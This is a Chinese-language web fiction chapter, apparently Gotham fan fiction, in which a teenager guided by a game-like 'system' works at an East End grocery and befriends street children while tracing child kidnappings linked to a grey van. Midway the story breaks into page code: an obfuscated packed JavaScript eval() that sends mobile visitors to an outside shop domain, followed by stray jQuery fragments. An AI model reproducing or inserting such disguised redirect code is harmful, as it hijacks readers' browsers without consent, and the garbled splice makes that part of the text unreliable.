系统发布任务那天是周三。帕米尔刚放学到校门口，面板在他视野里弹开了。
任务名称：暗流
区域：哥谭东区
内容：排查近期东区儿童失踪事件，确认是否存在组织化网络。目标：摸清据点位置、转运路线、核心成员名单。
难度评级：高于当前等级。建议分阶段执行。
第一阶段：建立地面身份。时限：两周。
帕米尔站在校门口看完了。东区他去过，但大部分是夜间行动——翻墙、确认坐标、拿东西就走。白天那里是什么样子，街上走着什么人，失踪的孩子叫什么名字，他还真不知道。
因为白天总是在学校里，他很少注意白天的哥谭是什么样的。
帕米尔把面板关掉，一只手插着兜，另一只手则在上下丢一只新买的橡皮，若有所思地走在路上。
东区他不是没去过。不过他对东区的印象很单薄，大概就是：路灯是坏的，街角的气味很复杂，有些窗户整夜亮着灯有些整夜没有光。
但"建立地面身份"意味着他要在白天走进去，深入那里的生活。
唉，太过分了吧，下午一放学就要干另一份活吗？
择日不如撞日，他把书包丢到车上，让司机送回庄园，一个人走去了东区。
———
四周的景色从勉强称得上井井有条变得杂乱无章，越往东区走，街道就变得越混乱，垃圾，杂乱的树叶，空气中变得复杂的气味，越来越多的流浪汉，阴森森的小巷子里破损的纸板箱。
他的衣服在这里显得有点格格不入。
想了一会儿，他翻出了系统道具栏里那件最不起眼的旧夹克，再找了个二手衣店，给自己搭了一身不是那么脏，但是很破旧的套装。
在东区走了一圈，帕米尔并没有发现什么线索。
也是，这种事情总不能是在大街上逛一圈就能碰上的。帕米尔叹了口气。
这活不太好干啊，本来想试试运气好的话，那伙人贩子会不会贴脸的，现在想来，他穿着之前那一套装扮，也许更容易吸引人贩子的注意。
帕米尔有点懊恼，转头又觉得这也算是个社会经验，现在吃亏送总比到副本里吃亏强。
仔细看了看，帕米尔盯上了一家杂货店。
杂货店的招工启事贴在橱窗内侧。纸边卷了，边缘泛黄，用黑色马克笔写着"招帮工，下午五点到九点，工资日结"。
帕米尔站在橱窗外看了大概十秒。从杂货店的玻璃反射里能看到自己——旧夹克，灰色卫衣，头发被帽子压扁了，看起来就是一个普通到不会有人多看一眼的中学男生。
他推门走进去。
店主是一个头发灰白的男人，姓科恩，五十多岁，左腿不太灵便，走路的时候会轻微拖一下。他看了一眼帕米尔——一个十几岁的男孩，说自己放学后能来帮忙搬货、理货、收银，每天四小时。
科恩看了他一会儿，说："你成年了吗？"
"没有。"
"你不能做收银。"科恩说，"有些规矩我不懂但我得守着……你是哪个学校的？"
也是，在哥谭收银可算是个高风险职业。
"哥谭中学。"
"你过来。"
科恩带他进了仓库。说是仓库，其实就是店铺后面的一个窄房间，堆满了纸箱和货架。科恩指着墙角一摞没拆封的饮料箱说："把那些搬出来，上架。每天下午来干这个就行。按小时算，不查你证件。"
帕米尔弯下腰搬起第一箱。箱子比他预想的重一些，他站稳了，走了两步。
科恩在后面看着他的背影。他没说别的，只是转身出去了。
从那天起，他每天下午五点出现在这里。
———
第三天下午，他认识了马可。
马可大约七岁，穿着一件明显过大的灰色外套，袖口卷了三折，露出来的手背冻得发红。他身后还跟着两个更小的——一个男孩大概五六岁，瘦得像一根被风干了很长时间的树枝，衣服比他的人大两圈，领口垮下来露出半边肩膀；另一个女孩更小，头发扎得歪歪扭扭，一只鞋的鞋带开了没系，拖着走。
马可走在前面，两个小的跟在他后面。像一列小小的、毛躁的火车，车头歪着往前走，车厢拖着步子勉强跟着。
帕米尔蹲在门口摆饮料箱，看着他们走过去。马可的目光路过他干净，并不瘦削的脸，停了一下，然后收回去。
第六天，帕米尔在门口放了一包没开封的饼干。马可经过的时候看到了，停下来，回头看帕米尔。
"给我的？"
"过期了，我要丢的。"
马可拿起饼干看了看保质期，还有三个月。他看了帕米尔一眼，把饼干塞进口袋里。
后面那个小女孩的视线从她哥哥的肩膀后面伸过来，看着饼干的包装纸。眼睛跟着那包饼干走了好一会儿，直到马可把它塞进口袋里，她的目光才收回去。
帕米尔从纸箱旁边又摸出两包小袋装的苏打饼干，放在地上。小女孩看着他，又看了看她哥哥。马可点了一下头，她上前两步，把两包饼干搂进怀里。
一行人匆匆地走了，眼睛总是警惕地望向四周。
这让帕米尔稍微有点不是滋味，他两世至少都没缺过钱，平时做任务也没太过注意这些小孩子，现在看看他们消瘦的身体，他们和实验室里的那些小孩到底谁更幸福呢？
物质，或自由？
他今天可以自己花点钱给那些流浪的小孩一点吃的，也可以打包一些零食饭菜去看看那些小实验体，但是他救不了所有的流浪孩子，就像实际上他也打不碎实验室的囚笼。
从那之后，马可每天下午会带着那两个小孩在杂货店门口停留一会儿。他们不进来，就站在歪脖子树底下，有时候蹲下来画地上的石子，有时候什么都不做，只是站着。
帕米尔搬箱子的时候能从仓库的窗户看到他们——三个小小的影子挤在那棵树下面，像一窝靠在一起的小动物。
帕米尔开始多带一些东西。有时候是一壶热水，有时候是多出来的面包。他不直接给他们，就放在门口的箱子上面，然后转身走开。
那个小女孩叫萝丝。她的话最少，但眼睛最大。
她看人的时候不躲闪，只是安静地看着，这在哥谭并不是一个好的习惯，很多反派都不喜欢别人直视自己的双眼，但她只是个小孩，她哥哥也只是个小孩，很多事情他们都不知道。
而她那双鞋的鞋带永远系不好，帕米尔后来发现是因为鞋带太旧了，打了结也会松开。
那个小男孩叫莱尼。他喜欢蹲在离帕米尔最近的位置，看他搬货。有一次帕米尔停下来问他"你要不要喝水"，他摇了摇头，但眼睛一直盯着帕米尔手里的保温杯。
帕米尔把保温杯放在地上，推到莱尼脚边。莱尼端起来喝了两口，然后又放回去。他擦了擦嘴说："你不喝吗？"
"我喝过了。"
莱尼没有再说话，但那次之后他和帕米尔之间的距离缩近了半步。
马可的话最多，但他最有分寸。他不问帕米尔为什么在这里，不问帕米尔从哪里来。他只是有时候在帕米尔搬完货出来的时候，把捡到的东西放在杂货店门口的台阶上——一颗酸涩的野苹果，一片形状好看难得一见的枫叶，一块颜色奇怪的石头。
帕米尔把那些东西收进仓库里靠墙的那个纸箱里。箱子上面他没有贴标签，但箱子里的东西慢慢多起来。
第六天，帕米尔从马可那里听到了"灰车"。
那天下午只有马可一个人来。他蹲在歪脖子树底下，手里攥着一根树枝，没画什么，只是在地上戳来戳去。
"萝丝呢？"帕米尔问。
"在家，她有点咳嗽。"
"莱尼呢？"
"他妈妈今天在家，他就没出来。"
帕米尔在他旁边蹲下来。"你呢？你外婆呢？"
"外婆去药店拿药了。"马可手里的树枝停了一下，"她要走好久，我自己待着。"
药店？
这两天帕米尔也不是白干的，这附近的流浪儿很多，而哥谭的流浪儿趋利避害的本能强的要命。
帕米尔只要付出一些吃的，一番打听下来，就探听到了不少东西。
这些流浪儿有的家里有大人，有的没有。如果是有大人，白天还在流浪的，那么那些大人不是什么好东西。
总之，他们也注意到了附近的小伙伴这几天总是丢失，帕米尔仔细询问了几个孩子，发现失踪的这些孩子大部分家里都有家长，而且最后一面，他们总是在去药店的路上。
药店啊……啧，他这几天也找了，怎么就是没线索呢？
“你知道你外婆去的药店在哪吗？”
“不知道，她从来不让我跟着她去那里。”
好像有问题啊……
“这样吧，下次你外婆去的时候你喊我一声，我也想去看看那个药店，我给你三袋面包当报酬怎么样？”
马丁有点奇怪，那么多药店怎么就看上了他外婆去的那个？但是他也没多问，有便宜不占王八蛋，他跟着去就跟着去呗。
“那我回头跟外婆说一声。”
帕米尔没在回答，他坐在地上，靠着杂货店的墙，和马可并排蹲着。过了一会儿马可开口了。
"上周我往东走了几个路口，"他说，"看到那栋大房子了。"
"上次你说过的那栋房子……灰的那栋？"
"嗯。"马可手里的树枝在地上画了一个方框，"墙上有铁丝网，门是铁的有缝。我从缝里看到里面停了一辆灰车。窗户是黑的，看不到里面。"
送上门来的线索？！
"有没有看到人？"帕米尔有些急切地问。
"有。"马可想了想，"一个女人，她站在门口抽烟。她看了一眼我的方向，我就跑了。"
"你做得很对，临走前把地址给我，谢谢，我再给你点吃的。"
马可没接话。沉默了一会儿之后他说："街口的莉莉两周没出来了，她妈妈在巷子里喊了她好几天。"
马可又用树枝画了一个圈。"外婆说，有些小孩被带走了之后，就回不来了。"
"你不会的。"帕米尔说。
马可抬头看了他一眼。他的眼睛是褐色的，在下午的光里亮而安静，像两块被水冲干净的石头。"你怎么知道？"
帕米尔说，"我不会让你被抓走的。"
他的语气比他自己预想的坚定。
马可看了他很久。然后他低头继续戳地面，没有说话。
———
意外来得很突然，第二天，马可没有按时出现。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822018|211163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
昨天晚上帕米尔去探查了那栋房子，房子的布局确实和马可说的一样，但里面空荡荡的，什么都没有。
房子紧挨着公路，车辙印、脚印一类的线索也没有一点。整个房子都被打扫过了。
帕米尔从下午五点等到六点，歪脖子树底下空空的。他把门口的饮料箱摆了又摆，每次都多留出一段时间来朝那个方向看一眼。
萝丝在快七点的时候来了。她的头发歪得更厉害了，一只脚的鞋带拖着地面，踩在上面两次差点绊倒。帕米尔看到她是从巷口跑过来的，脚上那双旧鞋的鞋底拍在水泥地上啪啪响。
"马可呢？"帕米尔蹲下来问她。
萝丝喘着气，眼睛比平时更大了。"外婆的药吃完了。马可说药店太远，他去拿。"
该死，他外婆不是不让他去吗？！小孩子就要有小孩子的样子，不要乱跑啊！帕米尔有点抓狂了。
"他什么时候走的？"
"下午。"萝丝说，"他说很快就回来，但到现在还没回来。"
帕米尔站起来。他看了一眼萝丝的鞋带，蹲下来帮她系好了。"你在店里等我一下，别走。"
萝丝没有动。她站在歪脖子树底下，抱着自己的手臂。
帕米尔走进杂货店，从仓库里拿出系统空间存着的那件薄外套穿上。他走到科恩面前说了两句话——"我去找一下那个孩子，店里你先看着。"
帕米尔拿出了一张百元美钞放在柜台。
科恩看了他一眼，没有多问。他从柜台下面摸出一把手电筒放在台面上。帕米尔拿起来，握在手里。
"往东走，别过六号街。"科恩说。
"为什么？"
"那边是灰车的方向。"
我靠，你倒是早说啊！原来线索在我眼皮子底下啊！
我真是……你们东区人。
帕米尔走出杂货店的时候天已经开始往下沉了。东区的路灯还是不亮，街道的光线从灰色变成深灰，然后向完全的黑色靠近。
他握着那把手电筒，但没有打开。他沿着马路往东走，边走边看两边。
经过一个垃圾桶的时候他在旁边看到一片糖纸。白色的，包装纸上印着一种不常见的字母，不是超市里常见的大众品牌。
他弯腰捡起来。他记得马可手里没拿过糖，但萝丝有时候会舔一颗那种白色的硬糖——包装纸就是这个颜色。
坏了，是巧合吗？
他继续往前走。又走了两个路口，在一条巷口的墙根下他看到了马可的外套。灰色的，卷了三折的袖子，叠成一团放在地面上，边缘有一道湿痕。帕米尔蹲下来，没有碰那件外套。他看了一圈周围的地面——灰尘，碎玻璃，一道不太清楚的刹车痕，刹车痕的方向是往东。
他站起来继续走。手电筒的光在墙面上照出窄窄的一条扇形，两边的门和墙从光里浮出来，然后沉回黑暗里。
再往前的路口，地面被水冲过。刹车痕没了。
他停下来。科恩说过"别过六号街"，他看了一眼路牌，这里还没到六号。但他能听到远处的引擎声——很低，平稳，在某个方向持续地响着。
他往声音的方向走了半条街。在一栋灰房子的侧墙外面，他看到了一辆灰车。车窗是全黑的，后座车门和驾驶座之间有隔断。车停在一道铁门前面，引擎没有熄，排气管在冷空气里吐出一团白汽。
帕米尔站在对面建筑的阴影里。
他把手电筒关了。静静地看着那辆车，它停在那里，像一只闭着眼的动物，呼吸平稳地坐在黑暗里。
系统面板在他视野里弹出了一行字："目标车辆确认。行动网络锁定中。建议：进入第二阶段——追踪。请宿主保持距离，避免暴露。"
帕米尔站在阴影里。
他把手电筒收进口袋里。
"我知道那种药是什么了。"
要不是时间线不对，他真想让头罩老大来狠狠制裁那群人。
他最后看了一眼那辆灰车，然后转身，沿着来时的路往回跑。
他把萝丝送回家，转头去了韦恩庄园。
帕米尔在韦恩庄园的厨房里翻到一本旧的社区小册子。这个之前他在借用韦恩庄园的厨房时看见过，如果他猜的没错的话，这里面应该会有一些线索。
阿福路过的时候问他在找什么，他说"东区那边的社区服务中心是什么时候建的"，阿福想了想说"五年前，韦恩基金会出资的，但那边人员流动很大，能稳定驻留的社工不多。"
帕米尔合上小册子，"谢谢阿福。"
他回到杂货店的时候，惊讶地发现萝丝和莱尼都在歪脖子树下面。两个人的表情都绷着，像两根被拉紧的绳。
"找到马可了吗？"萝丝问。
帕米尔蹲下来平视她。"还没有。"
"他什么时候回来？"
帕米尔沉默了一下。"我不会让他有事。我现在没空送你，你在店里等我——跟着科恩先生，别出去。"
萝丝看着他，那双大眼睛像两面深色的镜子。"你保证？"
帕米尔看着她。"我保证。"
萝丝点了点头，慢慢走进杂货店。莱尼跟在后面，走到门口的时候回头看了帕米尔一眼。他什么都没有说，嘴唇抿了一下。
帕米尔站在歪脖子树底下，看着那扇门慢慢关上。